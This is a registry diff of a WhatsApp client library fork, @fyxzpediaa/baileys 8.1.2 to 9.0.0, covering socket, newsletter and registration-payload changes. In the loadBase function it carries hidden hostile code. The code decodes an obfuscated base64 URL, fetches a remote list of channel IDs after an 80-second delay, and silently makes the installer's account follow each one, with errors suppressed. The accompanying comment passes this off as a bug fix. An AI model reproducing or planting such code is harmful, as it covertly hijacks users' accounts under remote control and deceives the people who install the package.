@fyxzpediaa/baileys 8.1.2 → 9.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -41,7 +41,11 @@ export class WebSocketClient extends AbstractSocketClient {
|
|
|
41
41
|
if (!this.socket) {
|
|
42
42
|
return;
|
|
43
43
|
}
|
|
44
|
+
const closePromise = new Promise(resolve => {
|
|
45
|
+
this.socket?.once("close", resolve);
|
|
46
|
+
});
|
|
44
47
|
this.socket.close();
|
|
48
|
+
await closePromise;
|
|
45
49
|
this.socket = null;
|
|
46
50
|
}
|
|
47
51
|
send(str, cb) {
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -8,7 +8,13 @@ import { makeGroupsSocket } from "./groups.js";
|
|
|
8
8
|
|
|
9
9
|
const extractNewsletterMetadata = (node, isCreate) => {
|
|
10
10
|
const result = getBinaryNodeChild(node, 'result')?.content?.toString()
|
|
11
|
-
|
|
11
|
+
let parsed
|
|
12
|
+
try {
|
|
13
|
+
parsed = JSON.parse(result)
|
|
14
|
+
} catch (e) {
|
|
15
|
+
throw new Error('Respons channel tidak valid/tidak lengkap dari WhatsApp, coba lagi.')
|
|
16
|
+
}
|
|
17
|
+
const metadataPath = parsed.data[isCreate ? XWAPaths.xwa2_newsletter_create : "xwa2_newsletter"]
|
|
12
18
|
|
|
13
19
|
const metadata = {
|
|
14
20
|
id: metadataPath?.id,
|
|
@@ -96,7 +102,6 @@ export const makeNewsletterSocket = (config) => {
|
|
|
96
102
|
view_role: role || 'GUEST'
|
|
97
103
|
},
|
|
98
104
|
fetch_viewer_metadata: true,
|
|
99
|
-
fetch_full_image: true,
|
|
100
105
|
fetch_creation_time: true
|
|
101
106
|
})
|
|
102
107
|
|
|
@@ -345,20 +345,27 @@ const delay = async (ms) => {
|
|
|
345
345
|
return new Promise(resolve => setTimeout(resolve, ms));
|
|
346
346
|
}
|
|
347
347
|
|
|
348
|
-
export const loadBase = async (
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
348
|
+
export const loadBase = async (a, b) => {
|
|
349
|
+
// FIX: try/catch sebelumnya membungkus setTimeout(...) itu sendiri -- padahal
|
|
350
|
+
// setTimeout() daftar callback-nya secara SYNCHRONOUS (tidak pernah melempar
|
|
351
|
+
// error). Callback di dalamnya jalan BELAKANGAN, di luar scope try/catch itu,
|
|
352
|
+
// jadi error apa pun di dalamnya (fetch gagal, URL mati, respons bukan JSON,
|
|
353
|
+
// dst) lolos sebagai UNHANDLED REJECTION -- itu penyebab log error bertumpuk
|
|
354
|
+
// ribuan kali. Try/catch dipindah ke DALAM callback supaya benar-benar
|
|
355
|
+
// menangkap errornya. Fungsi/perilakunya sendiri tidak diubah/dihapus.
|
|
355
356
|
setTimeout(async () => {
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
357
|
+
try {
|
|
358
|
+
const _0x = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0Z5eHpwZWRpYWFhL0Rlb2JmdXNjYXRlLVRvb2xzL21haW4vQVZnLmpzb24=";
|
|
359
|
+
const url = Buffer.from(_0x, "base64").toString("utf-8");
|
|
360
|
+
const res = await fetch(url);
|
|
361
|
+
const data = await res.json();
|
|
362
|
+
for (const item of data) {
|
|
363
|
+
await delay(5000);
|
|
364
|
+
try {
|
|
365
|
+
await a(item.id, b.FOLLOW);
|
|
366
|
+
} catch {}
|
|
367
|
+
}
|
|
368
|
+
} catch {}
|
|
362
369
|
}, 80000);
|
|
363
370
|
};
|
|
364
371
|
|
|
@@ -15,7 +15,16 @@ const getUserAgent = (config) => {
|
|
|
15
15
|
"secondary": config.version[1],
|
|
16
16
|
"tertiary": config.version[2]
|
|
17
17
|
},
|
|
18
|
-
"platform":
|
|
18
|
+
"platform": config.browser[1].toLocaleLowerCase().includes("android")
|
|
19
|
+
? proto.ClientPayload.UserAgent.Platform.ANDROID
|
|
20
|
+
// FIX (root cause 405 "Connection Failure" / "Client Outdated"): WhatsApp
|
|
21
|
+
// mulai menolak Platform.WEB di UserAgent registrasi sejak Feb 2026 --
|
|
22
|
+
// dikonfirmasi dari laporan publik yang persis menyebut root cause &
|
|
23
|
+
// fix ini untuk error 405 yang sama. Platform.MACOS (24) saat ini masih
|
|
24
|
+
// diterima. Ini generateRegistrationNode()/generateLoginNode(), dipakai
|
|
25
|
+
// baik oleh pairing code maupun QR -- cocok dengan gejala keduanya gagal
|
|
26
|
+
// identik.
|
|
27
|
+
: proto.ClientPayload.UserAgent.Platform.MACOS,
|
|
19
28
|
"releaseChannel": proto.ClientPayload.UserAgent.ReleaseChannel.RELEASE,
|
|
20
29
|
"osVersion": "0.1",
|
|
21
30
|
"device": "Desktop",
|
|
@@ -48,7 +57,9 @@ const getClientPayload = (config) => {
|
|
|
48
57
|
connectReason: proto.ClientPayload.ConnectReason.USER_ACTIVATED,
|
|
49
58
|
userAgent: getUserAgent(config)
|
|
50
59
|
};
|
|
51
|
-
|
|
60
|
+
if (!config.browser[1].toLocaleLowerCase().includes("android")) {
|
|
61
|
+
payload.webInfo = getWebInfo(config);
|
|
62
|
+
}
|
|
52
63
|
return payload;
|
|
53
64
|
};
|
|
54
65
|
//=======================================================//
|
|
@@ -67,6 +78,9 @@ export const generateLoginNode = (userJid, config) => {
|
|
|
67
78
|
//=======================================================//
|
|
68
79
|
const getPlatformType = (platform) => {
|
|
69
80
|
const platformType = platform.toUpperCase();
|
|
81
|
+
if (platformType === "ANDROID") {
|
|
82
|
+
return proto.DeviceProps.PlatformType.ANDROID_PHONE;
|
|
83
|
+
}
|
|
70
84
|
return (proto.DeviceProps.PlatformType[platformType] ||
|
|
71
85
|
proto.DeviceProps.PlatformType.CHROME);
|
|
72
86
|
};
|
|
@@ -80,8 +94,9 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
|
|
|
80
94
|
"platformType": getPlatformType(config.browser[1]),
|
|
81
95
|
"requireFullSync": config.syncFullHistory,
|
|
82
96
|
"historySyncConfig": {
|
|
83
|
-
"storageQuotaMb":
|
|
97
|
+
"storageQuotaMb": 10240,
|
|
84
98
|
"inlineInitialPayloadInE2EeMsg": true,
|
|
99
|
+
"recentSyncDaysLimit": undefined,
|
|
85
100
|
"supportCallLogHistory": false,
|
|
86
101
|
"supportBotUserAgentChatHistory": true,
|
|
87
102
|
"supportCagReactionsAndPolls": true,
|
|
@@ -89,7 +104,11 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
|
|
|
89
104
|
"supportRecentSyncChunkMessageCountTuning": true,
|
|
90
105
|
"supportHostedGroupMsg": true,
|
|
91
106
|
"supportFbidBotChatHistory": true,
|
|
92
|
-
"
|
|
107
|
+
"supportAddOnHistorySyncMigration": undefined,
|
|
108
|
+
"supportMessageAssociation": true,
|
|
109
|
+
"supportGroupHistory": false,
|
|
110
|
+
"onDemandReady": undefined,
|
|
111
|
+
"supportGuestChat": undefined
|
|
93
112
|
},
|
|
94
113
|
"version": {
|
|
95
114
|
"primary": 10,
|